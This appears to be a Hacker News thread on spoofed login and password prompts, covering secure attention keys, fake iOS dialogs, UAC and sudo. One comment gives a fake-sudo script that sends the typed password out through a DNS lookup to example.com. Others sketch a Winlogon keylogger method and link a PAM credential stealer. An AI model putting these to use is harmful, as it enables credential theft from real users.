Unfortunately operating system developers are not considering this attack. But they certainly can defend if they want.
https://en.wikipedia.org/wiki/Secure_attention_key
And you're right, this needs to be a default part of any login handler. Why don't we use it when logging into a Linux console? The login prompt could easily be spoofed by a user-mode program.
On the VT100 terminals in the computer lab in college (back in the early 90s) someone was doing this. A shell script to harness logins, print it was unsuccessful and log out. .
There was a key at the top of the vt-100 keyboard that would reset it. The "key" part was often pried off (accidental pressing was bad), but you could still press the nub left behind.
Oh, and the VAX-11/780 I had hacked into crashed due to a memory board fault in the minute after I had logged in with my snagged admin password. I spent the remainder of the weekend sweating that I had broken the VAX since I had no idea what had happened. I had just given myself all 32 of the VMS account privileges when it went down.
Wait.... What?
Nice job decoding that.
My guess would be that you did using the microfiche reader at your university or at a library. Before digitization, such devices were fairly common wherever people had a lot of text to archive.
(Aside: https://en.wikipedia.org/wiki/Microform even has a photo of a “DuKane brand microfiche reader with source code printed on the films.”. I couldn’t read enough of the text on the envelope to decide whether that is true from the photograph
30 or so years later I bought a huge stack of DEC microfiche on eBay so I could still do it if I wanted. I don't have equipment to read it though.
Not sure how distributions tend to configure it by default.
sudo dumpkeys | rg --only-matching '=.*' | sort | uniq
If you want to test it then this will set Ctrl-Alt-Esc as your SAK:
echo "control alt keycode 1 = SAK" | loadkeysDepending on configuration, this can be prevented with noexec mount, selinux or SMACK. Grsecurity and RSBAC can prevent unwanted exec.
Systems like apparmor, or grsecurity MAC, TOMOYO or YAMA do not work against executing wrong executables.
IMA (signing and verifying files) can work too.
All bets are off in case there is a local root exploit in kernel or any setuid app.
Keyloggers can still enter the winlogon session and log all keystrokes there, they need to run as a SYSTEM service, but it's very possible to do.
I'm surprised this isn't better documented, but it's pretty much as simple as copying the token from the existing Winlogon process, adjusting the privileges appropriately and calling CreateProcessAsUser() with lpDesktop set to Winsta0\Winlogon.
That makes their threat a moot point...
Any system that relies on humans to do the right thing is doomed to failure. Even something as trivial as hitting three keys each and every time they login; part of the problem with it is that it is so inconsistent (i.e. different Windows machines either do or do not prompt for the key-combination based on their configuration, so users have a mental model of skipping it).
Some of us don't want to use TouchID so, no, it shouldn't.
If yes, this feels utterly nonsensical. They would be able to grab your fingerprint from the sensor anyway, whether you are actively using it or not...
Alternatively you might be spreading some weird conspiracy theory that instead of securely storing a "hash" of the fingerprint on a HSM, current touchid implementations are secretly sharing your fingerprints with Apple.
That's not really any less nonsensical.
Do you just not use the home button?
If your fingerprint gets compromised, you CANT change your finger (erm... probably. I dunno of any easy way in any case)
Biometrics have value for identity verification (username) when used in conjunction with a password
Windows didn’t use this for anything until NT in the early 90s, and it was their choice to do so. Nothing to do with IBM.
When people ask Gates about Ctrl-Alt-Del they’re obviously asking about why it was chosen for a login sequence, but I believe Gates conveniently answers a different question to make it seem like IBM had something to do with that choice.
For example, how do you handle compromise (I suspect fingerprint mills / printers are not ubiquitous just because there is no demand for fake fingerprints; technologically they should be easy to make). Also, do you really want a unique match every time you log in from different devices (e.g., work and home); etc., etc.
Sorry, fingerprint solution may be worse than the disease it is trying to cure.
If you have access to the hardware, that's a whole different attack vector.
I think that even that is catchable (if needed), at least on old Windows XP Embedded, if you used minlogon (which happened very often) you lost ctrl+alt+del access to Task Manager, but there was a third-party service to restore the "hook":
http://www.mp3car.com/forum/mp3car-technical-software/softwa...
Anyway there are other ways, here is one:
http://www.oblita.com/interception.html
about midpage there is a sample to "intercept and block" the sequence.
No idea anyway (since the topic is on iOS) how that OS would behave and what could be the equivalent of a Ctrl+Alt+Del key sequence on a keyboardless device such as a iPhone or iPad.
The equivalent scenario with sudo would be to have a website display a mock terminal asking for sudo password, although that would be a lot harder to do inconspicuously because I don't expect terminal windows to pop out of the blue. It's also the reason why browser notify you when a page wants to go fullscreen.
I think the right solution to this problem is simply not to have privileged system UI elements drawn in a way that can be mimicked by a regular app or website. LastPass made a similar mistake: https://github.com/cxxr/lostpass
I don't have an iphone so I'm not sure what would be the right way to deal with that. AFAIK apps can draw to the entire screen surface so it sounds tricky to avoid.
But I suppose any application can write to the current user's .bashrc file right? Then it can also set the alias whenever the user opens a terminal.
Dear Steve,
There's one thing that's always bothered me about MacOS security. When a MacOS dialog pops up (e.g. to ask you for your password), there'sno way to tell for sure that it's MacOS that owns the dialog. A similar problem exists on the iPhone when I am asked for my iTunes password.
I wanted to write and suggest an easy fix, that would make the next version of MacOS and iOS much more secure. Why not have the users set a personal phrase, that MacOS will store and show them in every native MacOS dialog, to prove that it's really coming from MacOS? Of course, you'd have to prevent apps from screen-capturing that portion of the screen for the entire time the dialog is up, and capturing the keystrokes that are being sent to the dialog, but that shouldn't be too much of a problem. You can do something similar for the iPhone.
I really hope this finds its way into MacOS. After MacOS X came out I switched from the PC and haven't looked back. It's awesome.
Sincerely, Greg ...
Although I’m skeptical that users will really be alerted by the absence of a thing. The users I work with wouldn’t. But I would prefer it.
The inability to use the home button on the dialogues has become second nature to me out of healthy distrust/ paranoia.
Yeah, some people wouldn't, but that isn't a reason to leave it with the terrible implementation they have now. This has annoyed me since forever on iOS.
For one, on iOS, just "fading out" the app view over the users homescreen wallpaper. There is no way an app can do this, and it is a simple visual indication that the request is coming from the OS. Problem solved.
Also something I don't understand - the OS knows where the request is coming from, yet they don't show an app icon in that view? Why not?
This has been a problem for years with such simple solutions, yet nobody has touched it.
This is done sometimes, but has only limited success. Most users will click the "your computer is infected, click here to upgrade!" fake windows presented by webpage JS on a PC. You really think an app-fade effect will help enough to make a difference? It would help a bit, but not much.
> they don't show an app icon in that view? Why not?
Because then malicious/spammy applications would present fake alerts, which were non-badged normal popups, and add false badges. I guess you could badge everything, and push the problem onto apps whose icons look similar enough to other apps when shrunk down to whatever size your badge is. Either way, it still ends up in the same boat: probably a little bit helpful, but not much.
My point is that literally anything would be better than a generic UIAlertController with a password field that exists today, I can fake one in literally ten seconds and have it be remotely triggered by a key on a server to pass through app review. Anything added would enhance security for users.
They have your lock screen password but not your iTunes password.
You thought they were a friend and let them borrow your unlocked phone.
Even for a security conscience person there are plenty of situations where someone could get your unlocked phone.
And most people aren’t security conscience. It’s to protect them, not you.
I'm not even security conscious, and always lock my phone before setting it down. I think it started because turning off the screen as soon as you're done saved significant battery life on the phones prior to them knowing if they were laying flat.
“Does your phone have a calculator? Mine’s in my bag and I need to add these values real quick.”
It's completely different when you're relaxed (maybe having some fun), and the person asking for your phone is someone you know.
In a relaxed social environment, you will probably not be that rude to someone you know.
If I ever get a job in that sphere, I'll let you know.
Perhaps I might phrase it slightly differently depending on who it was but the sentiment would be exactly the same[1] - a blanket refusal.
[1] Nowadays - back when I was on the Nokias or SE phones, sure, use my phone as a calculator, go nuts.
No one has touched my phone while it was unlocked since middle school.
For me, the principle is I never divulge credentials, but I trust people I know. Therefore I see no conflict with adding my wife's fingerprint to TouchID, for example. (though it's not worth the effort of re-enrolling her every time I get a new device or a new screen or reinstall from scratch, so that's long lost).
Remember [1]? Imagine an exploit not targeting safari, but somehow vulnerable via an app, a la [2].
[1] https://citizenlab.ca/2016/08/million-dollar-dissident-iphon...
[2] http://iphone.appleinsider.com/articles/16/08/29/apple-brief...
Fundamentally, we're talking about imbuing meaning to patterns of light on a screen. And apps can write on any part of the screen. I suspect the only way to battle this is to have a separate screen which is controllable only from the system.
And even many people will fall for password prompts in the main screen.
What is the end goal of that? If you have control of the screen (aka are the foreground app), why would you need to emulate the keyboard? If you aren't the foreground app, then you aren't going to be able to render a keyboard on the screen (on iOS anyway).
to avoid the OS restrictions on which keyboard app is used for passwords.
> you aren't going to be able to render a keyboard on the screen (on iOS anyway).
Are you saying it is impossible to render the pixels and accept screen touches in a way that it acts and looks like a "real" keyboard app?
It's not a sidetrack, because that's what the actual article is about.
I didn't have a specific scenario in mind.
But to address your question ...
Say a user is reassured because he knows that only approved keyboard apps can accept passwords.
This malware app pops up a password prompt AND some images and input buttons that looks very much like a 'proper' keyboard.
The user enters his password.
Game over.
For example let's say you handed your phone to your kid, they downloaded a free app, gave that app your entire contact list, and then that app spammed everyone you know? For the sake of example let's call that app LinkedIn.
It’s bad that LinkedIn has such a reputation that I automatically assume they likely did just as you alluded that they might’ve done.
They were pioneers in the field!
Maybe Apple should require authentication to grant those permissions.... Of course, then we're back to the problem of password fatigue.
Edit: apparently there's no toggle if you have Touch ID enabled. You have to disable it for the App Store for this to work, but I think Touch ID is fast enough anyway...
This would be similar to measures companies say in emails, "we never ask for your password, always visit our site directly," etc.
Better solution would be not having login windows at all and make it all in the app and do a sort of oauth type flow if the system needs to share it.
The iTunes password is needed so rarely these days that most people really struggle to even remember setting it.
IMO, the iTunes password should be eliminated entirely. But I have no idea how to handle the activation lock situation if no authenticated device is on hand.
Whoa whoa whoa - hold on there. Your ‘iTunes password’ protects purchases in the App Store and iTunes media stores, access to the iCloud website, your iCloud email, iMessages, app data such as notes and contacts, third party app data, and freaking backups of your entire device.
What exactly would you suggest Apple do to eliminate that account? You might as well say that google should eliminate their gmail passwords, or that Dropbox should eliminate the account password.
My memorized password count is less than 10 and they're all long and secure (and completely different from one another). It's unfortunate that iCloud is on that list, but it's the only one that shouldn't really belong there, so I'm okay with it.
doesn't work when UAC is enabled. Even if you were able to phish the administrator password, trying to login as the administrator using that password (such as by using runas), you'll still end up with a restricted access token. You still need to somehow click "yes" on UAC to get administrative access, which is no small feat because that prompt is on the secure desktop.
When a thread requires admin privileges, NT will first check if your unmasked token already has those rights, in which case, it will prompt you (UAC) for permission to use the token. This is unlike traditional UNIX where the 'effective user' changes to root on a global level, not just per-thread. So you get 10 minutes (or w/e) as root to do your thing.
Which is funny because disabling UAC is one of the first things I (and many many others) have done since Windows 7 to make using Windows a little more tolerable.
funny thing is, the thing that made it "sensible" since win7 also makes it insecure. if you care about security, it's prompt for everything or nothing.
https://blogs.msdn.microsoft.com/oldnewthing/20160816-00/?p=...
I have no idea of the feasibility of locking down some piece of user data such that the OS can display it for privileged access, but random apps cannot, but this seems like a reasonable solution. Include some user selected word or picture in the title bar of the settings dialog so that users know its the real one.
So the dialog pops up and says "please press button then enter your password". User needs to press the button for the textbox to appear. This hardware button auto-closes whatever the active application if the active application is not the system dialog.
This way you have a hardware control verifying the dialog isn't a phishing attack.
Of course, attackers could mimic the dialog after the button had been pressed if it were a genuine dialog. But as long as you can train your users into only entering their password after they've pressed the button then hopefully most might realise something was amiss if requested for a password without the button press.
IIRC, this is similar to what happens in Windows since Vista. When you need to input your root password, all applications are minimized and you only see a dim wallpaper and the password prompt.
Blog post with screenshots: http://enigma0x3.net/2015/01/21/phishing-for-credentials-if-...
There's probably some browser based equivalent somewhere too.
\sudo <command>
Because there's no point. If I'm able to manipulate your shell environment to set aliases, I can also change your search path so that \sudo picks up the program I want. And no, you can't defeat that by only running /usr/bin/sudo because there are a million other nasty things to do once an attacker has reached this level of control.
In Bash there might also be a way to do something cunning with a 'trap DEBUG' hook to modify the command between submission and it actually being run.
Or you could just exec into a terminal multiplexer like screen[1] to intercept & rewrite/suppress both commands and output.
Edit: It's much easier than that.
The function:
echo () { command echo "hax" $@; }
[1] or maybe just hijack stdin/out FDs from the shell?
If the attacker was able to backdoor the system, isn't also possible they could install a modified shell that no-ops \?
Isn't it exactly what happens on windows anyway?
[1] e.g. https://github.com/ONsec-Lab/scripts/tree/master/pam_steal
echo "enter sudo pw:"
read pw
# log ip and query on ns for
# example.com
host "$USER.$pw.example.com" &
echo "Invalid pw"
sudo $*
If you can write to pam.d/common-auth - you might be able to add a kernel module, or change boot to start the whole os install in a vm...
Still might fool some users who aren't paying attention but seems like it would be a simple start.